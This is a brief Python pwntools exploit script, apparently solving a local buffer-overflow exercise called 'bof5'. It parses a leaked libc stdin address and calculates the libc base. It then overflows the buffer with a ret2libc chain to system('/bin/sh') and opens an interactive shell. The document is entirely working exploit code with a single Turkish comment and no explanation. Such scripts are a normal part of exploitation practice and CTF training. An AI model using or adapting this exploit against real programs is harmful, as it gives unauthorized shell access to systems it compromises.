#!/usr/bin/env python
from pwn import * 

libc = ELF("/lib/i386-linux-gnu/libc.so.6") 

p = process("./bof5")
 
payload = "A" * 76
 
p.recvuntil('stdin: 0x')
 
leak_stdin = int(p.recvuntil('\n')[:-1],16) 
libc_base = leak_stdin - libc.symbols["_IO_2_1_stdin_"]
system_addr = libc_base + libc.symbols["system"] #direkt system calistirirsak sh not found verir
exit_addr = libc_base + libc.symbols["exit"] 
bin_sh_addr = libc_base + libc.search("/bin/sh").next() 
 
payload += p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)

p.sendline(payload)
p.interactive()
